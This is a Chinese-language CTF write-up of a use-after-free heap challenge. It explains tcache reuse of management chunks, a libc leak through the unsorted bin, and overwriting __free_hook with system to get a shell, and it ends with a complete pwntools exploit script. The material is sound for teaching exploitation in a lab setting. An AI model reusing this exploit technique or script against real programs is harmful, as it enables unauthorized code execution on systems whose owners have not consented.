程序四个功能,存在UAF。
漏洞点
攻击思路
1 2 3
| add(0x20,'/bin/sh\x00','/bin/sh\x00') add(0x30,'ccc','dddd') add(0x30,'eee','ffff')
|
根据堆块的内容,发现添加堆块的模式是先分配一个管理content的chunk,这个chunk被用来存放name和content的堆块指针以及堆块的free状态和size。
show和edit以及delete功能都是通过这个管理chunk中保存的content指针来进行操作的,所以我们的目的是可以控制到这个管理chunk,然后修改对应的content指针以及size和free状态即可随意控制。
因为delete功能是先释放content的chunk,然后再释放掉管理chunk,那么先释放掉两个size不等于0x30的chunk,此时为0x30大小的
tcachebins中有两个管理chunk
那么直接再申请一个0x30大小的堆块,就会有一个管理chunk被当作content chunk来使用,即可控制这个content chunk。
此时0x000064e516a812c0管理chunk就被当作content chunk使用了。
原本是想利用这个chunk修改content指针为free_got。然后再直接修改free真实地址为system,但是发现程序开启了PIE保护,也没有什么简单的方法泄露出程序加载地址,所以就放弃了。还是直接泄露libc地址,然后打free_hook。
1 2 3 4 5
| for i in range(8): add(0x80,'a','a') add(0x10,'a','a') for i in range(8): delete(i+4)
|
填满tchchebins,然后再free掉大于fastbins的chunk,会进入到unsortedbins。然后泄露即可。添加一个0x10是为了防止unsortedbin和top chunk合并
1 2 3 4 5 6 7 8
| show(11) rl('\x0a') libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base) free_hook = libc_base+libc.sym['__free_hook'] system = libc_base + libc.sym['system']
|
泄露完libc后,就该利用之前得到的管理chunk了。
1
| edit(3,p64(0)*2+p64(free_hook)+p64(0x0000000100000030))
|
修改这个管理chunk中保存的content的chunk指针,使content指向free_hook区域,那么之后对这个content的操作就相当于是修改free_hook处的内容。0x0000000100000030是因为高8位保存的是free状态,如果是free则为0,如果是1则为malloc。需要将这个修改为malloc状态。
1 2
| edit(1,p64(system)) delete(0)
|
修改free_hook为system,然后再free掉保存着’/bin/sh\x00’的堆块。即可getshell
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.anna.nssctf.cn', 28945) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.27.so') def add(size,name,content): rl("Choice: \n") sl('1') rl("Size:\n") sl(str(size)) rl("Name: \n") sl(name) rl("Content:\n") sl(content) def show(index): rl("Choice: \n") sl('3') rl("Input your idx:\n") sl(str(index)) def edit(index,content): rl("Choice: \n") sl('4') rl("Input your idx:\n") sl(str(index)) sleep(1) sl(content) def delete(index): rl("Choice: \n") sl('2') rl("Input your idx:\n") sl(str(index))
free_got = elf.got['free']
gdb.attach(p)
add(0x20,'/bin/sh\x00','/bin/sh\x00') add(0x30,'ccc','dddd') add(0x30,'eee','ffff')
delete(1) delete(2)
add(0x20,'aaa','bbb')
for i in range(8): add(0x80,'a','a')
add(0x10,'a','a')
for i in range(8): delete(i+4)
show(11) rl('\x0a') libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base) free_hook = libc_base+libc.sym['__free_hook'] system = libc_base + libc.sym['system']
edit(3,p64(0)*2+p64(free_hook)+p64(0x0000000100000030))
edit(1,p64(system))
delete(0)
inter()
|